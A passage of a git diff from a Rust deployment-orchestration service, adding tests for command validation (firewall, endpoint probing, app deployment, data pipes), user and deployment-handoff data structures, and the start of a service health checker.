+ ) + .expect("valid public ports should succeed") + .expect("params should be present"); + + assert_eq!(result["action"], "add"); + assert_eq!(result["public_ports"].as_array().unwrap().len(), 2); + } + + #[test] + fn firewall_parameters_valid_private_port() { + let result = validate_command_parameters( + "configure_firewall", + &Some(json!({ + "action": "add", + "private_ports": [ + {"port": 5432, "protocol": "tcp", "source": "10.0.0.0/8"} + ] + })), + ) + .expect("valid private ports should succeed") + .expect("params should be present"); + + assert_eq!(result["action"], "add"); + assert_eq!(result["private_ports"].as_array().unwrap().len(), 1); + } + + // ── probe_endpoints tests ──────────────────────────── + + #[test] + fn probe_endpoints_parameters_defaults() { + let params = validate_command_parameters( + "probe_endpoints", + &Some(json!({ + "app_code": "crm" + })), + ) + .expect("probe_endpoints params should validate") + .expect("probe_endpoints params must be present"); + + assert_eq!(params["app_code"], "crm"); + assert_eq!( + params["protocols"], + json!(["openapi", "html_forms", "rest"]) + ); + assert_eq!(params["probe_timeout"], 5); + assert_eq!(params["capture_samples"], false); + } + + #[test] + fn probe_endpoints_parameters_require_app_code() { + let err = validate_command_parameters( + "probe_endpoints", + &Some(json!({ + "protocols": ["openapi"] + })), + ) + .expect_err("missing app_code should fail"); + + assert!(err.contains("app_code")); + } + + #[test] + fn probe_endpoints_parameters_reject_invalid_protocol() { + let err = validate_command_parameters( + "probe_endpoints", + &Some(json!({ + "app_code": "crm", + "protocols": ["openapi", "invalid_proto"] + })), + ) + .expect_err("invalid protocol should fail"); + + assert!(err.contains("unsupported protocol")); + } + + #[test] + fn probe_endpoints_parameters_reject_zero_timeout() { + let err = validate_command_parameters( + "probe_endpoints", + &Some(json!({ + "app_code": "crm", + "probe_timeout": 0 + })), + ) + .expect_err("zero timeout should fail"); + + assert!(err.contains("probe_timeout")); + } + + #[test] + fn probe_endpoints_parameters_reject_excessive_timeout() { + let err = validate_command_parameters( + "probe_endpoints", + &Some(json!({ + "app_code": "crm", + "probe_timeout": 31 + })), + ) + .expect_err("excessive timeout should fail"); + + assert!(err.contains("probe_timeout")); + } + + #[test] + fn probe_endpoints_result_validates_type() { + let err = validate_command_result( + "probe_endpoints", + "hash_a", + &Some(json!({ + "type": "wrong_type", + "deployment_hash": "hash_a", + "app_code": "crm", + "protocols_detected": [], + "endpoints": [], + "forms": [], + "probed_at": "2026-03-20T12:00:00Z" + })), + ) + .expect_err("wrong type should fail"); + + assert!(err.contains("type='probe_endpoints'")); + } + + #[test] + fn probe_endpoints_result_validates_hash() { + let err = validate_command_result( + "probe_endpoints", + "hash_a", + &Some(json!({ + "type": "probe_endpoints", + "deployment_hash": "hash_b", + "app_code": "crm", + "protocols_detected": [], + "endpoints": [], + "forms": [], + "probed_at": "2026-03-20T12:00:00Z" + })), + ) + .expect_err("mismatched hash should fail"); + + assert!(err.contains("deployment_hash mismatch")); + } + + #[test] + fn probe_endpoints_result_valid() { + let result = validate_command_result( + "probe_endpoints", + "hash_a", + &Some(json!({ + "type": "probe_endpoints", + "deployment_hash": "hash_a", + "app_code": "crm", + "protocols_detected": ["openapi"], + "endpoints": [{ + "protocol": "openapi", + "base_url": "http://crm:80", + "spec_url": "/swagger.json", + "operations": [{ + "path": "/api/v1/contacts", + "method": "POST", + "summary": "Create contact", + "fields": ["last_name", "email1"] + }] + }], + "forms": [], + "probed_at": "2026-03-20T12:00:00Z" + })), + ) + .expect("valid result should pass"); + + assert!(result.is_some()); + } + + #[test] + fn probe_endpoints_result_accepts_metadata_fields() { + let result = validate_command_result( + "probe_endpoints", + "hash_a", + &Some(json!({ + "type": "probe_endpoints", + "deployment_hash": "hash_a", + "app_code": "crm", + "protocols_detected": ["html_forms"], + "protocols_requested": ["html_forms"], + "endpoints": [], + "resources": [], + "forms": [{ + "id": "contact", + "action": "/contact", + "method": "POST", + "fields": ["name", "email"] + }], + "probe_attempts": [{ + "scope": "remote_app", + "selector": "crm", + "container": "crm-web", + "protocols": ["html_forms"], + "outcome": "detected" + }], + "target_kind": "html_form", + "probed_at": "2026-03-20T12:00:00Z" + })), + ) + .expect("valid metadata result should pass") + .expect("result payload should be present"); + + assert_eq!(result["protocols_requested"], json!(["html_forms"])); + assert_eq!(result["probe_attempts"][0]["scope"], "remote_app"); + assert_eq!(result["target_kind"], "html_form"); + } + + // ── check_connections ──────────────────────────────────────────── + + #[test] + fn check_connections_accepts_no_parameters() { + let result = validate_command_parameters("check_connections", &None) + .expect("check_connections with no params should validate"); + // Result may be Some({}) or None — both are acceptable + if let Some(v) = result { + assert!(v.is_object(), "result must be an object when present"); + } + } + + #[test] + fn check_connections_accepts_empty_object() { + let result = validate_command_parameters("check_connections", &Some(json!({}))) + .expect("check_connections with empty object should validate"); + if let Some(v) = result { + assert!(v.is_object()); + } + } + + #[test] + fn check_connections_accepts_port_list() { + let result = validate_command_parameters( + "check_connections", + &Some(json!({ "ports": [80, 443, 8080] })), + ) + .expect("check_connections with port list should validate"); + let v = result.expect("result must be present"); + let ports = v["ports"].as_array().expect("ports must be an array"); + assert_eq!(ports.len(), 3); + assert_eq!(ports[0], 80); + } + + #[test] + fn check_connections_accepts_null_ports() { + let result = + validate_command_parameters("check_connections", &Some(json!({ "ports": null }))) + .expect("check_connections with null ports should validate"); + assert!(result.is_some()); + } + + #[test] + fn deploy_app_defaults_runtime_to_runc() { + let params = json!({"app_code": "web"}); + let result = validate_command_parameters("deploy_app", &Some(params)).unwrap(); + let val = result.unwrap(); + assert_eq!(val["runtime"], "runc"); + assert_eq!(val["force_config_overwrite"], false); + } + + #[test] + fn deploy_app_accepts_force_config_overwrite() { + let params = json!({ + "app_code": "web", + "force_recreate": true, + "force_config_overwrite": true + }); + let result = validate_command_parameters("deploy_app", &Some(params)).unwrap(); + let val = result.unwrap(); + assert_eq!(val["force_recreate"], true); + assert_eq!(val["force_config_overwrite"], true); + } + + #[test] + fn deploy_app_preserves_config_files() { + let params = json!({ + "app_code": "web", + "config_files": [{ + "name": ".env", + "content": "RUST_LOG=debug\n", + "content_type": "text/plain", + "destination_path": "/opt/stacker/deployments/prod/files/web/.env", + "file_mode": "0644" + }] + }); + + let result = validate_command_parameters("deploy_app", &Some(params)).unwrap(); + let val = result.unwrap(); + + assert_eq!(val["config_files"].as_array().unwrap().len(), 1); + assert_eq!( + val["config_files"][0]["destination_path"], + "/opt/stacker/deployments/prod/files/web/.env" + ); + } + + #[test] + fn deploy_app_accepts_kata_runtime() { + let params = json!({"app_code": "web", "runtime": "kata"}); + let result = validate_command_parameters("deploy_app", &Some(params)).unwrap(); + let val = result.unwrap(); + assert_eq!(val["runtime"], "kata"); + } + + #[test] + fn deploy_app_accepts_runc_runtime() { + let params = json!({"app_code": "web", "runtime": "runc"}); + let result = validate_command_parameters("deploy_app", &Some(params)).unwrap(); + let val = result.unwrap(); + assert_eq!(val["runtime"], "runc"); + } + + #[test] + fn deploy_app_rejects_unknown_runtime() { + let params = json!({"app_code": "web", "runtime": "containerd"}); + let result = validate_command_parameters("deploy_app", &Some(params)); + assert!(result.is_err()); + assert!(result.unwrap_err().contains("runtime must be one of")); + } + + #[test] + fn deploy_app_accepts_registry_auth() { + let params = json!({ + "app_code": "web", + "registry_auth": { + "registry": "docker.io", + "username": "optimum", + "password": "supersecret" + } + }); + let result = validate_command_parameters("deploy_app", &Some(params)).unwrap(); + let val = result.unwrap(); + assert_eq!(val["registry_auth"]["registry"], "docker.io"); + assert_eq!(val["registry_auth"]["username"], "optimum"); + assert_eq!(val["registry_auth"]["password"], "supersecret"); + } + + #[test] + fn registry_auth_debug_redacts_password() { + let auth = RegistryAuthCommandRequest { + registry: "docker.io".to_string(), + username: "optimum".to_string(), + password: "supersecret".to_string(), + }; + + let rendered = format!("{:?}", auth); + assert!(rendered.contains("docker.io")); + assert!(rendered.contains("optimum")); + assert!(rendered.contains("[REDACTED]")); + assert!(!rendered.contains("supersecret")); + } + + #[test] + fn activate_pipe_requires_parameters() { + let err = validate_command_parameters("activate_pipe", &None); + assert!(err.is_err()); + } + + #[test] + fn activate_pipe_validates_trigger_type() { + let err = validate_command_parameters( + "activate_pipe", + &Some(json!({ + "pipe_instance_id": "abc-123", + "source_container": "wordpress_1", + "source_endpoint": "/wp-json/wp/v2/posts", + "target_container": "n8n_1", + "target_endpoint": "/webhook/pipe", + "field_mapping": {"title": "$.title"}, + "trigger_type": "invalid" + })), + ); + assert!(err.is_err()); + assert!(err.unwrap_err().contains("trigger_type")); + } + + #[test] + fn activate_pipe_validates_target_required() { + let err = validate_command_parameters( + "activate_pipe", + &Some(json!({ + "pipe_instance_id": "abc-123", + "source_container": "wordpress_1", + "source_endpoint": "/wp-json/wp/v2/posts", + "target_endpoint": "/webhook/pipe", + "field_mapping": {"title": "$.title"}, + "trigger_type": "webhook" + })), + ); + assert!(err.is_err()); + assert!(err.unwrap_err().contains("target_container")); + } + + #[test] + fn activate_pipe_accepts_valid_params() { + let result = validate_command_parameters( + "activate_pipe", + &Some(json!({ + "pipe_instance_id": "abc-123", + "source_container": "wordpress_1", + "source_endpoint": "/wp-json/wp/v2/posts", + "target_container": "n8n_1", + "target_endpoint": "/webhook/pipe", + "field_mapping": {"title": "$.title"}, + "trigger_type": "webhook" + })), + ); + assert!(result.is_ok()); + } + + #[test] + fn activate_pipe_accepts_adapter_references() { + let result = validate_command_parameters( + "activate_pipe", + &Some(json!({ + "pipe_instance_id": "abc-123", + "source_adapter": { + "code": "imap", + "role": "source", + "config": { "mailbox": "INBOX" } + }, + "target_adapter": { + "code": "smtp", + "role": "target", + "config": { "host": "smtp" } + }, + "target_url": "https://bridge.internal/pipes/contact", + "trigger_type": "webhook" + })), + ); + assert!(result.is_ok()); + } + + #[test] + fn activate_pipe_accepts_shared_webhook_fixture() { + let result = validate_command_parameters( + "activate_pipe", + &Some(fixture("activate_pipe.webhook.command.json")), + ); + assert!(result.is_ok()); + } + + #[test] + fn activate_pipe_accepts_shared_rabbitmq_fixture() { + let result = validate_command_parameters( + "activate_pipe", + &Some(fixture("activate_pipe.rabbitmq.command.json")), + ); + assert!(result.is_ok()); + } + + #[test] + fn activate_pipe_accepts_shared_adapter_fixture() { + let result = validate_command_parameters( + "activate_pipe", + &Some(fixture("activate_pipe.adapter.command.json")), + ); + assert!(result.is_ok()); + } + + #[test] + fn trigger_pipe_requires_instance_id() { + let err = + validate_command_parameters("trigger_pipe", &Some(json!({ "pipe_instance_id": "" }))); + assert!(err.is_err()); + } + + #[test] + fn trigger_pipe_accepts_adapter_references() { + let result = validate_command_parameters( + "trigger_pipe", + &Some(json!({ + "pipe_instance_id": "abc-123", + "source_adapter": { + "code": "pop3", + "role": "source" + }, + "target_adapter": { + "code": "smtp", + "role": "target" + }, + "trigger_type": "manual" + })), + ); + assert!(result.is_ok()); + } + + #[test] + fn trigger_pipe_accepts_valid_params() { + let result = validate_command_parameters( + "trigger_pipe", + &Some(json!({ + "pipe_instance_id": "abc-123" + })), + ); + assert!(result.is_ok()); + } + + #[test] + fn trigger_pipe_accepts_shared_manual_fixture() { + let result = validate_command_parameters( + "trigger_pipe", + &Some(fixture("trigger_pipe.manual.command.json")), + ); + assert!(result.is_ok()); + } + + #[test] + fn trigger_pipe_accepts_shared_adapter_fixture() { + let result = validate_command_parameters( + "trigger_pipe", + &Some(fixture("trigger_pipe.adapter.command.json")), + ); + assert!(result.is_ok()); + } + + #[test] + fn trigger_pipe_accepts_shared_replay_fixture() { + let result = validate_command_parameters( + "trigger_pipe", + &Some(fixture("trigger_pipe.replay.command.json")), + ); + assert!(result.is_ok()); + let payload = result.unwrap().unwrap(); + assert_eq!(payload["trigger_type"], "replay"); + } + + #[test] + fn deactivate_pipe_accepts_valid_params() { + let result = validate_command_parameters( + "deactivate_pipe", + &Some(json!({ + "pipe_instance_id": "abc-123" + })), + ); + assert!(result.is_ok()); + } + + #[test] + fn deactivate_pipe_accepts_shared_fixture() { + let result = validate_command_parameters( + "deactivate_pipe", + &Some(fixture("deactivate_pipe.command.json")), + ); + assert!(result.is_ok()); + } + + #[test] + fn activate_pipe_result_validates() { + let result = validate_command_result( + "activate_pipe", + "deploy-hash", + &Some(json!({ + "type": "activate_pipe", + "deployment_hash": "deploy-hash", + "pipe_instance_id": "abc-123", + "status": "active", + "trigger_type": "webhook", + "activated_at": "2026-01-01T00:00:00Z" + })), + ); + assert!(result.is_ok()); + } + + #[test] + fn activate_pipe_result_accepts_shared_fixture() { + let result = validate_command_result( + "activate_pipe", + "dep-123", + &Some(fixture("activate_pipe.success.report.json")), + ); + assert!(result.is_ok()); + let payload = result.unwrap().unwrap(); + assert_eq!(payload["active"], true); + assert_eq!(payload["lifecycle"]["state"], "active"); + } + + #[test] + fn trigger_pipe_result_validates() { + let result = validate_command_result( + "trigger_pipe", + "deploy-hash", + &Some(json!({ + "type": "trigger_pipe", + "deployment_hash": "deploy-hash", + "pipe_instance_id": "abc-123", + "success": true, + "triggered_at": "2026-01-01T00:00:00Z" + })), + ); + assert!(result.is_ok()); + } + + #[test] + fn deactivate_pipe_result_accepts_shared_fixture() { + let result = validate_command_result( + "deactivate_pipe", + "dep-123", + &Some(fixture("deactivate_pipe.success.report.json")), + ); + assert!(result.is_ok()); + let payload = result.unwrap().unwrap(); + assert_eq!(payload["removed"], true); + assert_eq!(payload["lifecycle"]["state"], "inactive"); + } + + #[test] + fn probe_endpoints_parameters_capture_samples_defaults_false() { + let params = validate_command_parameters( + "probe_endpoints", + &Some(json!({ + "app_code": "wordpress" + })), + ) + .expect("should validate") + .expect("should have params"); + + assert_eq!(params["capture_samples"], false); + } + + #[test] + fn probe_endpoints_parameters_capture_samples_true() { + let params = validate_command_parameters( + "probe_endpoints", + &Some(json!({ + "app_code": "wordpress", + "capture_samples": true + })), + ) + .expect("should validate") + .expect("should have params"); + + assert_eq!(params["capture_samples"], true); + } + + #[test] + fn configure_proxy_parameters_strip_legacy_npm_overrides() { + let npm_credentials = fixture("npm_credentials.v1_email_password.json"); + let params = validate_command_parameters( + "configure_proxy", + &Some(json!({ + "app_code": "wordpress", + "domain_names": ["wordpress.example.com"], + "forward_port": 80, + "npm_host": npm_credentials["host"], + "npm_email": npm_credentials["email"], + "npm_password": npm_credentials["password"], + })), + ) + .expect("configure_proxy params should validate") + .expect("configure_proxy params should be present"); + + assert!(params.get("npm_host").is_none()); + assert!(params.get("npm_email").is_none()); + assert!(params.get("npm_password").is_none()); + } + + #[test] + fn probe_endpoints_result_with_sample_response() { + let result = validate_command_result( + "probe_endpoints", + "deploy-hash", + &Some(json!({ + "type": "probe_endpoints", + "deployment_hash": "deploy-hash", + "app_code": "wordpress", + "protocols_detected": ["openapi"], + "endpoints": [{ + "protocol": "openapi", + "base_url": "http://wordpress:80", + "spec_url": "http://wordpress:80/wp-json", + "operations": [{ + "path": "/wp/v2/posts", + "method": "GET", + "summary": "List posts", + "fields": ["id", "title", "author"], + "sample_response": { + "id": 1, + "title": {"rendered": "Hello World"}, + "author": 42 + } + }] + }], + "forms": [], + "probed_at": "2026-04-10T12:00:00Z" + })), + ); + assert!(result.is_ok()); + let payload = result.unwrap().unwrap(); + let sample = &payload["endpoints"][0]["operations"][0]["sample_response"]; + assert_eq!(sample["id"], 1); + assert_eq!(sample["author"], 42); + } + + #[test] + fn probe_endpoints_result_accepts_local_resources_and_containers() { + let result = validate_command_result( + "probe_endpoints", + "local", + &Some(json!({ + "type": "probe_endpoints", + "deployment_hash": "local", + "app_code": "device-api", + "protocols_detected": ["openapi", "postgres"], + "containers": [{ + "name": "local-device-api-1", + "image": "example/device-api:local", + "network": "app-network", + "ports": [], + "addresses": ["172.18.0.20:5050"] + }], + "endpoints": [{ + "protocol": "openapi", + "base_url": "http://172.18.0.20:5050", + "spec_url": "/openapi.json", + "operations": [{ + "path": "/devices", + "method": "GET", + "summary": "List devices", + "fields": ["id", "name"] + }] + }], + "resources": [{ + "container": "local-postgres-1", + "protocol": "postgres", + "address": "postgres://postgres@172.18.0.10:5432/app", + "items": [{ + "resource_type": "table", + "name": "public.devices", + "summary": "CDC candidate", + "fields": ["id", "name"] + }] + }], + "forms": [], + "probed_at": "2026-04-17T18:00:00Z" + })), + ); + assert!(result.is_ok()); + let payload = result.unwrap().unwrap(); + assert_eq!(payload["containers"][0]["name"], "local-device-api-1"); + assert_eq!(payload["resources"][0]["protocol"], "postgres"); + assert_eq!( + payload["resources"][0]["items"][0]["name"], + "public.devices" + ); + } + + #[test] + fn trigger_pipe_result_with_trigger_type() { + let result = validate_command_result( + "trigger_pipe", + "deploy-hash", + &Some(json!({ + "type": "trigger_pipe", + "deployment_hash": "deploy-hash", + "pipe_instance_id": "abc-123", + "success": true, + "triggered_at": "2026-01-01T00:00:00Z", + "trigger_type": "webhook" + })), + ); + assert!(result.is_ok()); + let payload = result.unwrap().unwrap(); + assert_eq!(payload["trigger_type"], "webhook"); + } + + #[test] + fn trigger_pipe_success_result_accepts_shared_fixture() { + let result = validate_command_result( + "trigger_pipe", + "dep-123", + &Some(fixture("trigger_pipe.success.report.json")), + ); + assert!(result.is_ok()); + let payload = result.unwrap().unwrap(); + assert_eq!(payload["lifecycle"]["state"], "active"); + assert_eq!(payload["target_response"]["transport"], "http"); + } + + #[test] + fn trigger_pipe_failure_result_accepts_shared_fixture() { + let result = validate_command_result( + "trigger_pipe", + "dep-123", + &Some(fixture("trigger_pipe.failure.report.json")), + ); + assert!(result.is_ok()); + let payload = result.unwrap().unwrap(); + assert_eq!(payload["success"], false); + assert_eq!(payload["lifecycle"]["state"], "failed"); + } + + #[test] + fn trigger_pipe_result_rejects_invalid_trigger_type() { + let result = validate_command_result( + "trigger_pipe", + "deploy-hash", + &Some(json!({ + "type": "trigger_pipe", + "deployment_hash": "deploy-hash", + "pipe_instance_id": "abc-123", + "success": true, + "triggered_at": "2026-01-01T00:00:00Z", + "trigger_type": "invalid_type" + })), + ); + assert!(result.is_err()); + assert!(result.unwrap_err().contains("trigger_type")); + } + + #[test] + fn trigger_pipe_result_accepts_replay_trigger_type() { + let result = validate_command_result( + "trigger_pipe", + "deploy-hash", + &Some(json!({ + "type": "trigger_pipe", + "deployment_hash": "deploy-hash", + "pipe_instance_id": "abc-123", + "success": true, + "triggered_at": "2026-01-01T00:00:00Z", + "trigger_type": "replay" + })), + ); + assert!(result.is_ok()); + } + + #[test] + fn trigger_pipe_replay_result_accepts_shared_fixture() { + let result = validate_command_result( + "trigger_pipe", + "dep-123", + &Some(fixture("trigger_pipe.replay.report.json")), + ); + assert!(result.is_ok()); + let payload = result.unwrap().unwrap(); + assert_eq!(payload["trigger_type"], "replay"); + assert_eq!(payload["lifecycle"]["trigger_count"], 2); + } + + #[test] + fn trigger_pipe_smtp_adapter_result_accepts_shared_fixture() { + let result = validate_command_result( + "trigger_pipe", + "dep-123", + &Some(fixture("trigger_pipe.smtp_adapter.report.json")), + ); + assert!(result.is_ok()); + let payload = result.expect("fixture should validate").expect("payload"); + assert_eq!(payload["target_response"]["transport"], "smtp"); + assert_eq!(payload["target_response"]["adapter"], "smtp"); + assert_eq!(payload["target_response"]["delivered"], true); + } + + #[test] + fn trigger_pipe_result_trigger_type_defaults_manual() { + let result = validate_command_result( + "trigger_pipe", + "deploy-hash", + &Some(json!({ + "type": "trigger_pipe", + "deployment_hash": "deploy-hash", + "pipe_instance_id": "abc-123", + "success": false, + "error": "Connection refused", + "triggered_at": "2026-01-01T00:00:00Z" + })), + ); + assert!(result.is_ok()); + let payload = result.unwrap().unwrap(); + assert_eq!(payload["trigger_type"], "manual"); + } +} diff --git a/stacker/stacker/src/forms/user.rs b/stacker/stacker/src/forms/user.rs new file mode 100644 index 0000000..4de809d --- /dev/null +++ b/stacker/stacker/src/forms/user.rs @@ -0,0 +1,147 @@ +use crate::models::user::User as UserModel; +use serde_derive::{Deserialize, Serialize}; +use serde_json::Value; +use serde_valid::Validate; + +#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize)] +#[serde(rename_all = "camelCase")] +pub struct UserForm { + pub user: User, +} + +//todo deref for UserForm. userForm.id, userForm.first_name + +#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize, Validate)] +#[serde(rename_all = "camelCase")] +pub struct User { + #[serde(rename = "_id")] + pub id: String, + #[serde(rename = "first_name")] + pub first_name: Option, + #[serde(rename = "last_name")] + pub last_name: Option, + pub created: Option, + pub updated: Option, + pub email: String, + #[serde(rename = "email_confirmed")] + pub email_confirmed: bool, + #[serde(default, alias = "mfaVerified", alias = "mfa_verified")] + pub mfa_verified: Option, + #[serde(default, alias = "twoFactorVerified", alias = "two_factor_verified")] + pub two_factor_verified: Option, + pub social: Option, + pub website: Option, + pub currency: Value, + pub phone: Option, + #[serde(rename = "password_change_required")] + pub password_change_required: Value, + pub photo: Option, + pub country: Option, + #[serde(rename = "billing_first_name")] + pub billing_first_name: Value, + #[serde(rename = "billing_last_name")] + pub billing_last_name: Value, + #[serde(rename = "billing_postcode")] + pub billing_postcode: Option, + #[serde(rename = "billing_address_1")] + pub billing_address_1: Option, + #[serde(rename = "billing_address_2")] + pub billing_address_2: Option, + #[serde(rename = "billing_city")] + pub billing_city: Option, + #[serde(rename = "billing_country_code")] + pub billing_country_code: Option, + #[serde(rename = "billing_country_area")] + pub billing_country_area: Option, + pub tokens: Option>, + pub subscriptions: Option>, + pub plan: Option, + #[serde(rename = "deployments_left")] + pub deployments_left: Value, + #[serde(rename = "suspension_hints")] + pub suspension_hints: Option, + pub role: String, +} + +#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize)] +#[serde(rename_all = "camelCase")] +pub struct Token { + pub provider: String, + pub expired: bool, +} + +#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize)] +#[serde(rename_all = "camelCase")] +pub struct Subscription { + #[serde(rename = "subscription_id")] + pub subscription_id: i64, + #[serde(rename = "user_id")] + pub user_id: i64, + #[serde(rename = "date_created")] + pub date_created: Option, + #[serde(rename = "date_updated")] + pub date_updated: Option, +} + +#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize)] +#[serde(rename_all = "camelCase")] +pub struct Plan { + #[serde(rename = "supported_stacks")] + pub supported_stacks: SupportedStacks, + #[serde(rename = "date_end")] + pub date_end: Value, + pub name: String, + pub code: String, + pub includes: Vec, + pub team: String, + #[serde(rename = "billing_email")] + pub billing_email: String, + #[serde(rename = "date_of_purchase")] + pub date_of_purchase: String, + pub currency: Option, + pub price: Option, + pub period: Option, + #[serde(rename = "date_start")] + pub date_start: String, + pub active: bool, + #[serde(rename = "billing_id")] + pub billing_id: Option, +} + +#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize)] +#[serde(rename_all = "camelCase")] +pub struct SupportedStacks { + pub monthly: Option, + pub annually: Option, +} + +#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize)] +#[serde(rename_all = "camelCase")] +pub struct Include { + pub name: String, + pub code: String, +} + +#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize)] +#[serde(rename_all = "camelCase")] +pub struct SuspensionHints { + pub days: i64, + pub reason: String, +} + +impl TryInto for UserForm { + type Error = String; + fn try_into(self) -> Result { + Ok(UserModel { + id: self.user.id, + first_name: self.user.first_name.unwrap_or("Noname".to_string()), + last_name: self.user.last_name.unwrap_or("Noname".to_string()), + email: self.user.email, + email_confirmed: self.user.email_confirmed, + role: self.user.role, + mfa_verified: self.user.mfa_verified.unwrap_or(false) + || self.user.two_factor_verified.unwrap_or(false), + access_token: None, + }) + } +} diff --git a/stacker/stacker/src/handoff.rs b/stacker/stacker/src/handoff.rs new file mode 100644 index 0000000..03519a7 --- /dev/null +++ b/stacker/stacker/src/handoff.rs @@ -0,0 +1,129 @@ +use chrono::{DateTime, Utc}; +use serde::{Deserialize, Serialize}; + +#[derive(Debug, Clone, Copy, Serialize, Deserialize, PartialEq, Eq, Default)] +#[serde(rename_all = "snake_case")] +pub enum DeploymentHandoffKind { + #[default] + Deployment, + Account, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] +pub struct DeploymentHandoffProject { + pub id: i32, + pub name: String, + #[serde(skip_serializing_if = "Option::is_none")] + pub identity: Option, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] +pub struct DeploymentHandoffDeployment { + pub id: i32, + pub hash: String, + pub target: String, + pub status: String, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] +pub struct DeploymentHandoffServer { + #[serde(skip_serializing_if = "Option::is_none")] + pub ip: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub ssh_user: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub ssh_port: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub name: Option, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] +pub struct DeploymentHandoffCloud { + pub id: i32, + #[serde(skip_serializing_if = "Option::is_none")] + pub provider: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub region: Option, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] +pub struct DeploymentHandoffAgent { + pub base_url: String, + pub deployment_hash: String, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] +pub struct DeploymentHandoffCredentials { + pub access_token: String, + pub token_type: String, + pub expires_at: DateTime, + #[serde(skip_serializing_if = "Option::is_none")] + pub email: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub server_url: Option, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] +pub struct DeploymentHandoffPayload { + #[serde(default)] + pub kind: DeploymentHandoffKind, + pub version: u32, + pub expires_at: DateTime, + pub project: DeploymentHandoffProject, + pub deployment: DeploymentHandoffDeployment, + #[serde(skip_serializing_if = "Option::is_none")] + pub server: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub cloud: Option, + pub lockfile: serde_json::Value, + #[serde(skip_serializing_if = "Option::is_none")] + pub stacker_yml: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub agent: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub credentials: Option, +} + +impl DeploymentHandoffPayload { + pub fn is_account_scoped(&self) -> bool { + self.kind == DeploymentHandoffKind::Account + } +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] +pub struct DeploymentHandoffLink { + pub token: String, + pub url: String, + pub expires_at: DateTime, +} + +impl DeploymentHandoffLink { + pub fn is_expired(&self) -> bool { + self.is_expired_at(Utc::now()) + } + + pub fn is_expired_at(&self, now: DateTime) -> bool { + now >= self.expires_at + } +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Default)] +pub struct DeploymentHandoffMintRequest { + #[serde(skip_serializing_if = "Option::is_none")] + pub deployment_id: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub deployment_hash: Option, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] +pub struct DeploymentHandoffMintResponse { + pub token: String, + pub url: String, + pub command: String, + pub expires_at: DateTime, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] +pub struct DeploymentHandoffResolveRequest { + pub token: String, +} diff --git a/stacker/stacker/src/health/checks.rs b/stacker/stacker/src/health/checks.rs new file mode 100644 index 0000000..872f95b --- /dev/null +++ b/stacker/stacker/src/health/checks.rs @@ -0,0 +1,509 @@ +use super::models::{ComponentHealth, HealthCheckResponse}; +use crate::configuration::Settings; +use sqlx::PgPool; +use std::collections::HashMap; +use std::sync::Arc; +use std::time::{Duration, Instant}; +use tokio::time::timeout; + +const CHECK_TIMEOUT: Duration = Duration::from_secs(5); +const SLOW_RESPONSE_THRESHOLD_MS: u64 = 1000; + +pub struct HealthChecker { + pg_pool: Arc, + settings: Arc, + start_time: Instant, +} + +impl HealthChecker { + pub fn new(pg_pool: Arc, settings: Arc) -> Self { + Self { + pg_pool, + settings, + start_time: Instant::now(), + } + } + + pub async fn check_all(&self) -> HealthCheckResponse { + let version = env!("CARGO_PKG_VERSION").to_string(); + let uptime = self.start_time.elapsed().as_secs(); + let mut response = HealthCheckResponse::new(version, uptime); + + let db_check = timeout(CHECK_TIMEOUT, self.check_database()); + let mq_check = timeout(CHECK_TIMEOUT, self.check_rabbitmq()); + let hub_check = timeout(CHECK_TIMEOUT, self.check_dockerhub()); + let redis_check = timeout(CHECK_TIMEOUT, self.check_redis()); + let vault_check = timeout(CHECK_TIMEOUT, self.check_vault()); + let user_service_check = timeout(CHECK_TIMEOUT, self.check_user_service()); + let install_service_check = timeout(CHECK_TIMEOUT, self.check_install_service()); + + let ( + db_result, + mq_result, + hub_result, + redis_result, + vault_result, + user_result, + install_result, + ) = tokio::join!( + db_check, + mq_check, + hub_check, + redis_check, + vault_check, + user_service_check, + install_service_check + ); + + let db_health = + db_result.unwrap_or_else(|_| ComponentHealth::unhealthy("Timeout".to_string())); + let mq_health = + mq_result.unwrap_or_else(|_| ComponentHealth::unhealthy("Timeout".to_string())); + let hub_health = + hub_result.unwrap_or_else(|_| ComponentHealth::unhealthy("Timeout".to_string())); + let redis_health = + redis_result.unwrap_or_else(|_| ComponentHealth::unhealthy("Timeout".to_string())); + let vault_health = + vault_result.unwrap_or_else(|_| ComponentHealth::unhealthy("Timeout".to_string())); + let user_health = + user_result.unwrap_or_else(|_| ComponentHealth::unhealthy("Timeout".to_string())); + let install_health = + install_result.unwrap_or_else(|_| ComponentHealth::unhealthy("Timeout".to_string())); + + response.add_component("database".to_string(), db_health); + response.add_component("rabbitmq".to_string(), mq_health); + response.add_component("dockerhub".to_string(), hub_health); + response.add_component("redis".to_string(), redis_health); + response.add_component("vault".to_string(), vault_health); + response.add_component("user_service".to_string(), user_health); + response.add_component("install_service".to_string(), install_health); + + response + } + + #[tracing::instrument(name = "Check database health", skip(self))] + async fn check_database(&self) -> ComponentHealth { + let start = Instant::now(); + + match sqlx::query("SELECT 1 as health_check") + 